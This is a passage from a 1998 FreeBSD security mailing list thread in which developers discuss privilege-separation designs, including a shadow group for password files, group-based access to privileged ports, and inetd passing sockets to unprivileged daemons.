owner-freebsd-security@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA27353 for ; Mon, 16 Nov 1998 22:48:21 -0800 (PST) (envelope-from andre.albsmeier@mchp.siemens.de) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from mail.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA12515 for ; Tue, 17 Nov 1998 07:47:54 +0100 (MET) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by mail.siemens.de (8.9.1a/8.9.1) with ESMTP id HAA14038 for ; Tue, 17 Nov 1998 07:47:54 +0100 (MET) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA27433 for ; Tue, 17 Nov 1998 07:47:55 +0100 (CET) Message-ID: <19981117074752.C11602@internal> Date: Tue, 17 Nov 1998 07:47:52 +0100 From: Andre Albsmeier To: Warner Losh , Andre Albsmeier Cc: Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116081640.A2304@internal> <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <19981115192224.A29686@internal> <199811152210.PAA01604@harmony.vill Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i In-Reply-To: <199811161842.LAA05020@harmony.village.org>; from Warner Losh on Mon, Nov 16, 1998 at 11:42:40AM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 11:42:40AM -0700, Warner Losh wrote: > In message <19981116081640.A2304@internal> Andre Albsmeier writes: > : Which security holes do you mean? I thought basically of doing the > : following: > : > : a) invent a new group (e.g. shadow, to stick with xlockmore :-)) > : b) chgrp shadow /etc/spwd.db /etc/master.passwd > : c) chmod 640 /etc/spwd.db and /etc/master.passwd mode > : d) modify programs that write to these files (pwd_mkdb) > : to conform with b) and c) > : > : As far as we are now, I can't see a security hole here. /etc/spwd.db > : and /etc/master.passwd are now readable by the shadow group as well > : but up to now, no one runs under this group. > > Assuming that no users are in the shadow group... Of course. > : Now we modify xlock (or others which are setuid root only in order > : to access /etc/spwd.db or /etc/master.passwd) in the following way: > : > : a) chgrp shadow xlock > : b) chmod 2111 xlock > : > : xlock can now do the same as before: read the encrypted passwords > : but doens't run as root anymore. > > The only programs this would help are those that need to check > passwords and do nothing else. For example, ftpd wouldn't be helped > by this because it needs to set the userid to that of the user logging > in. ditto with login and most of the other programs that access the > password file to allow the user to have access to passwords, but don't > change the uid, etc. This would be xlock and related hangers on, and > little else. One program per system would likely benefit from this > change, since usually there is only one kind of screen lock per > system. > > This would be an incremental increase in security for a couple of > programs. You have changed the prize of breaking those programs from > full access to the system, to access to the password files (which one > could then run crack on). That would definitely be worth the effort > if it didn't just impact one or two programs. > > However, if someone sends me patches for this, I'll happily review > them (and commit them if good enough and the submitter isn't already a > committer). I will look at this maybe the next weekend. I think the most difficult thing is to find all places where /etc/master.passwd and /etc/spwd.db are touched. > > Warner -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Nov 16 23:23:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA01222 for freebsd-security-outgoing; Mon, 16 Nov 1998 23:23:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (p34-nas1.wlg.ihug.co.nz [216.100.145.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA01216 for ; Mon, 16 Nov 1998 23:23:22 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with SMTP id UAA11302; Tue, 17 Nov 1998 20:19:06 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Tue, 17 Nov 1998 20:19:06 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: Matthew Dillon cc: William McVey , Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, "Jordan K. Hubbard" , Dima Ruban Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: <199811170527.VAA23429@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Matthew Dillon wrote: > > :If we are adding standard ids to the password file, what do you think of > :adding the following loginids and groupids for services that can run > :standalone as unprivilged users (these are ones I've set up on my set of > :machines, it'd be nice to "standardize" them): > : smtp (uid and gid of 25) > : www (uid and gid of 80) > : ftp (uid and gid of 21) > : tftp (uid and gid of 69) > : syslog (uid and gid of 514) > : (another root daemon which probably doesn't need root, I > : just made the changes on one of my machines... I'll let the > : list know how it works out.) > > I agree. Normally I'd use the same uid as the group id if a group > exists, or barring that the /etc/services port (but those start to > infringe on what people use for real user id's, we probably have to > keep the id's < 100). I don't think it's going to be feasible to claim a large number of low numbered gid's. It will clash with too many existing schemes. I can see administrators less familiar with freebsd making mistakes with serious consequences if they are not familiar with this scheme. The indirection provided by named groups is useful here. How about having a file which states which ports are allowed to which groups. eg have something like /etc/bindports with a format like: smtp: 25 www: 80, 8080 ftp: 21 tftp: 69 syslog: 514 bind: 1025-65335 # ???? The key before the colon gives the name of a group, which could have any group number. The value after the colon gives a comma delimited list of ports (possibly including ranges indicated by dash) to which members of that group are allowed access. These lists are cumulative for all the groups the processes EUID is a member of. As suggested by the last two line, this mechanism could be used (if considered desirable) to limit access to high numbered ports also with a group which most users are members of. Alternatively there could be a nobind group which prohibits binding not specifically enabled by membership of another group. I'm not sure whether there is any good reason to do this, but I thought I'd put it in for discussion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 00:22:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA08156 for freebsd-security-outgoing; Tue, 17 Nov 1998 00:22:28 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from lazlo.steam.com (lazlo.steam.com [199.108.84.37]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA08151 for ; Tue, 17 Nov 1998 00:22:27 -0800 (PST) (envelope-from cliff@steam.com) Received: from lazlo.steam.com (cliff@lazlo.steam.com [199.108.84.37]) by lazlo.steam.com (8.9.1/8.9.1) with ESMTP id AAA26823; Tue, 17 Nov 1998 00:19:37 -0800 (PST) Date: Tue, 17 Nov 1998 00:19:36 -0800 (PST) From: Cliff Skolnick To: Andrew McNaughton cc: Matthew Dillon , William McVey , Warner Losh , Andre Albsmeier , freebsd-security@FreeBSD.ORG, "Jordan K. Hubbard" , Dima Ruban Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Adding the ability for non-root UID to access ports is a fundamental change in the "standard UNIX way." The standard UNIX way to being how a number of books explain to the novice systems programmer how to do it. I do agree that the problem is real, but as a developer who wants a broad audience consisting of all UNIX systems I will not use the FreeBSD specific feature. Now we can argue that any security bug will be less harmful, but I also wonder how harmful a day or week delay while a ports update is made can be. But I will not only complain, here are a couple ideas. Of course there is a set of programs like identd and talk where this is really not a problem since inetd open the socket and can just pass it down the chain after setuid to some user with barely enough privileges to access the needed resources. This is pretty straight forward, and many of us have already done this. I am more concerned about stand alone daemons like sendmail, syslog, apache, etc. A well written program could simply have a setuid wrapper like innd that opens the socket, does a setuid() to some other user, then exec()s the real program. If I do this I know my program will work on most UNIX boxes in a reasonably secure way. Now if someone wanted to write a wrapper to make this easy, and it ran on most if not all UNIX systems great. The program would be setuid root, open a port (restricted by some access file like the suggested /etc/bindports), and exec the daemon. Of course there would be some interface dealing with what file descriptors contained the socket, perhaps passed as a parameter. A number of enhancements pop into mind too. Perhaps a nice chroot option, resource limit control, and maybe nice could also be added. Come to think of it, this would be a nice program. Cliff On Tue, 17 Nov 1998, Andrew McNaughton wrote: > On Mon, 16 Nov 1998, Matthew Dillon wrote: > > > > :If we are adding standard ids to the password file, what do you think of > > :adding the following loginids and groupids for services that can run > > :standalone as unprivilged users (these are ones I've set up on my set of > > :machines, it'd be nice to "standardize" them): > > : smtp (uid and gid of 25) > > : www (uid and gid of 80) > > : ftp (uid and gid of 21) > > : tftp (uid and gid of 69) > > : syslog (uid and gid of 514) > > : (another root daemon which probably doesn't need root, I > > : just made the changes on one of my machines... I'll let the > > : list know how it works out.) > > > > I agree. Normally I'd use the same uid as the group id if a group > > exists, or barring that the /etc/services port (but those start to > > infringe on what people use for real user id's, we probably have to > > keep the id's < 100). > > I don't think it's going to be feasible to claim a large number of low > numbered gid's. It will clash with too many existing schemes. I can see > administrators less familiar with freebsd making mistakes with serious > consequences if they are not familiar with this scheme. The indirection > provided by named groups is useful here. How about having a file which > states which ports are allowed to which groups. eg have something like > /etc/bindports with a format like: > > smtp: 25 > www: 80, 8080 > ftp: 21 > tftp: 69 > syslog: 514 > bind: 1025-65335 # ???? > > The key before the colon gives the name of a group, which could have any > group number. The value after the colon gives a comma delimited list of > ports (possibly including ranges indicated by dash) to which members of > that group are allowed access. These lists are cumulative for all the > groups the processes EUID is a member of. > > As suggested by the last two line, this mechanism could be used (if > considered desirable) to limit access to high numbered ports also with a > group which most users are members of. Alternatively there could be a > nobind group which prohibits binding not specifically enabled by > membership of another group. I'm not sure whether there is any good > reason to do this, but I thought I'd put it in for discussion. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > -- Cliff Skolnick Steam Tunnel Operations cliff@steam.com http://www.steam.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 02:09:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA18677 for freebsd-security-outgoing; Tue, 17 Nov 1998 02:09:44 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns1.yes.no (ns1.yes.no [195.204.136.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA18672 for ; Tue, 17 Nov 1998 02:09:40 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [195.204.143.218]) by ns1.yes.no (8.9.1a/8.9.1) with ESMTP id LAA15537; Tue, 17 Nov 1998 11:07:47 +0100 (CET) Received: (from eivind@localhost) by bitbox.follo.net (8.8.8/8.8.6) id LAA19609; Tue, 17 Nov 1998 11:07:46 +0100 (MET) Message-ID: <19981117110746.23373@follo.net> Date: Tue, 17 Nov 1998 11:07:46 +0100 From: Eivind Eklund To: Nate Williams , Warner Losh Cc: Andre Albsmeier , Matthew Dillon , freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <19981116072937.E969@internal> <19981115192224.A29686@internal> <19981115161548.A23869@internal> <199811151758.JAA15108@apollo.backplane.com> <199811152210.PAA01604@harmony.village.org> <199811160658.XAA01912 < <19981116125909.A28486@internal> <199811161849.LAA05146@harmony.village.org> <199811161940.MAA19331@mt.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89.1i In-Reply-To: <199811161940.MAA19331@mt.sri.com>; from Nate Williams on Mon, Nov 16, 1998 at 12:40:12PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 12:40:12PM -0700, Nate Williams wrote: > The other issue is since they will no longer be setuid(), someone can > crash them and get the passwd file from them to crack later or we'd have > to change all of the 'don't dump core' code to look for setgid(passwd) > stuff. All of a sudden this 'simple fix' gets to be obnoxious and isn't > buying us a whole lot. setgid() programs don't dump core, I think. If they do, that is a security hole, and should be fixed. Non-problem. General suggestion (and this is not aimed just at Nate): Please think twice before trying to shoot down somebody elses suggestion. By shooting down changes, we end up being very conservative - and if people get their suggestions for good changes shot down, they are less likely to try again later. Example: This tendency almost cost us our NAT code before - everybody (by the authors impression) was shouting "you can't do that!" before he'd written the code. Eivind. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 04:02:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA00587 for freebsd-security-outgoing; Tue, 17 Nov 1998 04:02:42 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from rgate.ricochet.net (rgate1.ricochet.net [204.179.143.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA00545 for ; Tue, 17 Nov 1998 04:02:37 -0800 (PST) (envelope-from enkhyl@scient.com) Received: from mg131-085.ricochet.net (mg131-085.ricochet.net [204.179.131.85]) by rgate.ricochet.net (8.8.8/8.8.8) with ESMTP id FAA01582; Tue, 17 Nov 1998 05:42:12 -0600 (CST) Date: Tue, 17 Nov 1998 03:40:28 -0800 (PST) From: Christopher Nielsen X-Sender: enkhyl@ender.sf.scient.com Reply-To: enkhyl@hayseed.net To: Poul-Henning Kamp cc: Fernando Schapachnik , Thomas Valentino Crimi , tlambert@primenet.com, freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <23903.911243692@critter.freebsd.dk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 16 Nov 1998, Poul-Henning Kamp wrote: > Date: Mon, 16 Nov 1998 20:14:52 +0100 > From: Poul-Henning Kamp > To: Fernando Schapachnik > Cc: Thomas Valentino Crimi , tlambert@primenet.com, freebsd-security@FreeBSD.ORG > Subject: Re: Would this make FreeBSD more secure? > > In message <199811161811.PAA01939@ns1.sminter.com.ar>, Fernando Schapachnik writes: > >En un mensaje anterior, Thomas Valentino Crimi escribió: > >[...] > >> And then we have md5 passwords, arguably broken, now, but orders of > >> magnitudes better than DES. > > > >Broken? I'm using them with no problem. What do you mean? > > He means that he hasn't understood the first law of cryptography: > > "No cipher is unbreakable, it's all a question about time & effort" > > Given sufficient resources you can brute-force any encryption or > scrambling. > > MD5 scambled passwords are not even close to being broken, for any > value of broken worth talking about. Sorry to be pedantic, but your statement is true of all ciphers except one-time pads. A one-time pad can never be broken without the encryption key, no matter how much time and effort you expend. Of course, one-time pads aren't exactly practical from a key management perspective. -- Christopher Nielsen Scient: The eBusiness Systems Innovator cnielsen@scient.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 05:18:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA10071 for freebsd-security-outgoing; Tue, 17 Nov 1998 05:18:30 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from aniwa.sky (p7-max7.wlg.ihug.co.nz [209.79.142.135]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA10066 for ; Tue, 17 Nov 1998 05:18:26 -0800 (PST) (envelope-from andrew@squiz.co.nz) Received: from localhost (andrew@localhost) by aniwa.sky (8.8.8/8.8.7) with SMTP id CAA14307; Wed, 18 Nov 1998 02:17:55 +1300 (NZDT) (envelope-from andrew@squiz.co.nz) Date: Wed, 18 Nov 1998 02:17:54 +1300 (NZDT) From: Andrew McNaughton X-Sender: andrew@aniwa.sky Reply-To: andrew@squiz.co.nz To: freebsd-security@FreeBSD.ORG cc: Cliff Skolnick , Matthew Dillon , William McVey , Warner Losh , Andre Albsmeier , "Jordan K. Hubbard" , Dima Ruban Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Cliff Skolnick wrote: > Adding the ability for non-root UID to access ports is a fundamental change > in the "standard UNIX way." The standard UNIX way to being how a number of > books explain to the novice systems programmer how to do it. I do agree > that the problem is real, but as a developer who wants a broad audience > consisting of all UNIX systems I will not use the FreeBSD specific feature. > Now we can argue that any security bug will be less harmful, but I also > wonder how harmful a day or week delay while a ports update is made can be. > But I will not only complain, here are a couple ideas. There is going to be an overhead involved in maintaining ports, but where a piece of software does not recognise the scheme, the worst case is that it has to be run as root until adapted, which is the current situation anyway. Andrew McNaughton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 05:31:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA11416 for freebsd-security-outgoing; Tue, 17 Nov 1998 05:31:10 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from weathership.homeport.org (weathership.homeport.org [207.31.235.99]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA11404 for ; Tue, 17 Nov 1998 05:31:05 -0800 (PST) (envelope-from adam@weathership.homeport.org) Received: (from adam@localhost) by weathership.homeport.org (8.8.8/8.8.5) id IAA17703; Tue, 17 Nov 1998 08:45:24 -0500 (EST) Message-ID: <19981117084523.A17686@weathership.homeport.org> Date: Tue, 17 Nov 1998 08:45:23 -0500 From: Adam Shostack To: Marc Slemko , Matthew Dillon Cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? References: <199811161941.LAA21747@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93i In-Reply-To: ; from Marc Slemko on Mon, Nov 16, 1998 at 01:22:47PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Nov 16, 1998 at 01:22:47PM -0800, Marc Slemko wrote: | The other use, however, which is still very valid, is to secure the server | against untrusted users binding to the port. There are zillions of | protocols where the client can't verify the server in any useful way. | Requiring special privs. to bind to the port that the server runs as | helps this out in a big way. For this to be true, it requires that NT (which doesn't have a concept of privleged ports) to be removed from all server locations on the internet. While I'll agree that this is a useful security measure, its not particularly realistic, and we should consider giving up on this assumption. Adam -- "It is seldom that liberty of any kind is lost all at once." -Hume To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 07:47:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA26675 for freebsd-security-outgoing; Tue, 17 Nov 1998 07:47:01 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from fledge.watson.org (FLEDGE.RES.CMU.EDU [128.2.93.229]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA26667 for ; Tue, 17 Nov 1998 07:46:58 -0800 (PST) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.8.8/8.8.8) with SMTP id KAA24444 for ; Tue, 17 Nov 1998 10:46:29 -0500 (EST) Date: Tue, 17 Nov 1998 10:46:29 -0500 (EST) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: freebsd-security@FreeBSD.ORG Subject: Alternative approaach: Re: Would this make FreeBSD more secure? In-Reply-To: <19981117084523.A17686@weathership.homeport.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In my view, inetd provides most of the services we already require, in the TCP case. That is, inetd allows us to run unpriveledged server software in such a way that it has access to priveledged ports (although *only* for the purpose of receiving connections, and only on a specific port with specific properties). Additionally, I allows us to place wrappers in between and perform filtering etc. The only really reasonably argument against inetd in all cases is that some high frequency connection events load the system because of the constant fork/exec and subsequent loading of the system. In a few cases, such as sendmail, it is also nice to have the daemon sticking around for the purposes of queue management and redelivery events. It seems to me that we could retain the benefits of inetd at the same time as reducing the cost of its approach. That is, with only minor modification to inetd and the daemons, we could use the SCM_RIGHTS file descriptor over socket mechanism to provide daemons with their connections as they come in. This is not quite as low in cost as having the daemon sit around spinning on an accept(), and then forking as needed or passing it on, as it requires inetd to be involved. But it does not require inetd to be very involved -- certainly not to the point of fork()/exec(). Here are the details as I envision it, and any criticisms are welcome: a new 'type' is added in inetd.conf -- presumably replacing the 'wait'/'nowait' field, perhaps 'socktrans' or such. At start-time, inetd forks and execs all daemons that are of this type, except that it leaves open a socket as fd 3 for the child process, that can be read on. Instead of spinning on accept(), the child will now spin on recvmsg() with appropriate arguments to receive up to N file descriptors. Inetd now binds the ports as it normally would, awaiting connections. When a connection comes in, inetd evaluates whether it is a valid connection (possibly taking advantage of wrapper code, perhaps an allow/deny file of some kind, perhaps logging it), and then transfers it over the socket to the child. In the event that the child closes the file socket, it can always be restarted, improving reliability (if desired). This solution, of course, is oriented at the TCP crowd -- sendmail, httpd, the normal suspects. Given the cost of a TCP setup, and the light-weight-ness of inetd, I do not think there will be that much of a performance impact on most systems. Clearly, there is no real benefit for daemons such as sshd, other than providing a standard way for daemons to listen -- sshd has to run as root so that it can switch to the account of the user when required. I'm not sure that this can address the UDP case. I believe that in the case of DNS (bind), the UDP responses have to come from the same port that they are sent to; also, the resolution of interest is not 'connection' but 'packet'. The cost of forwarding the packets to the process is higher per-packet and therefore more likely to impede performance. Similarly, inetd would probably have to send the packet for the daemon. The easier approach might simply be to bind the socket, and then pass it off to the child for further use. Any time the child died (or released the socket), presumably it could be restarted. I'm not as satisfied with this case, as it doesn't allow inetd to filter the 'connections'. On the other hand, it no longer requires the daemon to run as root. This solution requires no potentially suspect modifications to the kernel, and no modification to the standard set of groups that would no doubt upset people. Mapping uids to port numbers is also a somewhat problematic approach -- not very scalable, and no fun if you use a portmapper :). Actually, that does raise the case of the RPC-based NFS suite. In that case, perhaps there could be an indication that 'any port will do' for the port passed to the daemons, except the portmapper where only the appropriate port will do. In the general case though, the NFS suite probably does require root access on both the client and the server, so perhaps it is not a biggy. And I'm not sure that we want to munge our heads into the RPC code to rewrite it to use this mechanism? :) Presumably we would also have to address the case where a daemon listens on multiple ports (UDP and TCP, such as Bind). Perhaps a solution might in fact be to have a protocol by which daemons talk to bind using the socket, such that they can in effect ask inetd to proxy bindings for them; inetd.conf would be more of an ACL file on what it was willing to proxy. That is a more serious change, however, and as it does not affect many daemons, is something that could be overlooked for greater simplicity for now. My belief is that this should certainly perform well enough, and require only minor modifications to sendmail. For many web servers, I imagine it would not represent a serious performance impact. At the rate of a few hits a second for a low-end web server (400,000 hits a day is only 5 a second on average), transfering a few ancillary data packets has low cost. Addressing the dual udp/tcp case by passing two sockets would deal with some additional daemons, such as syslog and bind. All existing daemons would continue to function unmodified, of course. Robert N Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: 03 01 DD 8E 15 67 48 73 25 6D 10 FC EC 68 C1 1C Carnegie Mellon University http://www.cmu.edu/ TIS Labs at Network Associates, Inc. http://www.tis.com/ SafePort Network Services http://www.safeport.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 08:53:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA05852 for freebsd-security-outgoing; Tue, 17 Nov 1998 08:53:52 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.numachi.com (numachi.numachi.com [198.175.254.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id IAA05843 for ; Tue, 17 Nov 1998 08:53:47 -0800 (PST) (envelope-from reichert@numachi.com) Received: (qmail 9496 invoked by uid 1001); 17 Nov 1998 16:26:40 -0000 Message-ID: <19981117112640.A9299@numachi.com> Date: Tue, 17 Nov 1998 11:26:40 -0500 From: Brian Reichert To: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? & sendmail changes in OpenBSD 2.4 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: ; from Cliff Skolnick on Tue, Nov 17, 1998 at 12:19:36AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, Nov 17, 1998 at 12:19:36AM -0800, Cliff Skolnick wrote: > The program would be setuid root, open a port (restricted by some access > file like the suggested /etc/bindports), and exec the daemon. Of course > there would be some interface dealing with what file descriptors contained > the socket, perhaps passed as a parameter. I've been making heavy use of DJB's ucspi-tcp wrapper. It's discussed at ftp://koobera.math.uic.edu/www/ucspi-tcp.html and makes his home-spun interface for CLIs to work off of the net: ftp://koobera.math.uic.edu/www/proto/ucspi.txt it handles a lot of what I'm concerned about, and makes for any easy place to put a 'limits' wrapper in... One thing it doesn't seem to to is allow you to have N pre-forked images, and broker conversations with them... -- Brian 'you Bastard' Reichert reichert@numachi.com 37 Crystal Ave. #303 Current daytime number: (603)-434-6842 Derry NH 03038-1713 USA Intel architecture: the left-hand path To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 09:30:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA10580 for freebsd-security-outgoing; Tue, 17 Nov 1998 09:30:05 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA10420 for ; Tue, 17 Nov 1998 09:29:56 -0800 (PST) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.8.8/8.8.6) with ESMTP id MAA109226; Tue, 17 Nov 1998 12:30:07 -0500 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: drosih@pop1.rpi.edu Message-Id: In-Reply-To: <199811170527.VAA23429@apollo.backplane.com> References: <199811162114.PAA06569@s07.sa.fedex.com> Date: Tue, 17 Nov 1998 12:29:17 -0500 To: Matthew Dillon From: Garance A Drosihn Subject: Re: making 'lpd' under FreeBSD more secure Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The "would this make FreeBSD more secure?" thread has expanded a bit from the original topic. I had no opinion on the original topic, but I do have a lot of interest in one sub-topic that came up later on. Hopefully no one will mind if I spin that into a different thread... In my case, I don't use freebsd on any servers I run here (for the RPI campus), but I do use a modified version of freebsd's lpr suite on all our public workstations, and printing from all other platforms go thru our unix print servers, so I'm keenly interested in the one topic of lpr/lpd. At 9:27 PM -0800 11/16/98, Matthew Dillon wrote: > Someone else wrote: >: I'm not convinced that sendmail and lpd require TCAPF_LOWPORT. >: I think inetd and the 'wait' attribute can do what they need, >: but I'm all for adding the solution as defined above [for other >: programs]. > > I don't think they need it either, as long as sendmail and > lpd are started as root and setuid() themselves after binding > the port I'd be happy. I think lpd needs root access for more than just binding to the port, although I haven't looked at the code yet to remember why I think that... Still, someone recently went thru the other programs (lpr, lpc, etc) adding seteuid() calls so that those programs are root only where they need to be root. It would be a good idea to do this for lpd too, and would reduce the security exposure in a way that I could benefit when using the same source on other operating systems. I should write up some more specific suggestions here, but I don't have the time right now. Mainly I'm just hoping to get all the lpd-related ideas in this thread, so I can go back to ignoring the other, busier thread. :-) --- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Nov 17 09:35:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA11449 for freebsd-security-outgoing; Tue, 17 Nov 1998 09:35:39 -0800 (PST) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from alive.znep.com (207-178-54-226.go2net.com [207.178.54.226]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA11442 for ; Tue, 17 Nov 1998 09:35:36 -0800 (PST) (envelope-from marcs@znep.com) Received: from localhost (marcs@localhost) by alive.znep.com (8.9.1/8.9.1) with ESMTP id JAA11363; Tue, 17 Nov 1998 09:31:18 -0800 (PST) (envelope-from marcs@znep.com) Date: Tue, 17 Nov 1998 09:31:18 -0800 (PST) From: Marc Slemko To: Adam Shostack cc: freebsd-security@FreeBSD.ORG Subject: Re: Would this make FreeBSD more secure? In-Reply-To: <19981117084523.A17686@weathership.homeport.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 17 Nov 1998, Adam Shostack wrote: > On Mon, Nov 16, 1998 at 01:22:47PM -0800, Marc Slemko wrote: > > | The other use, however, which is still very valid, is to secure the server > | against untrusted users binding to the 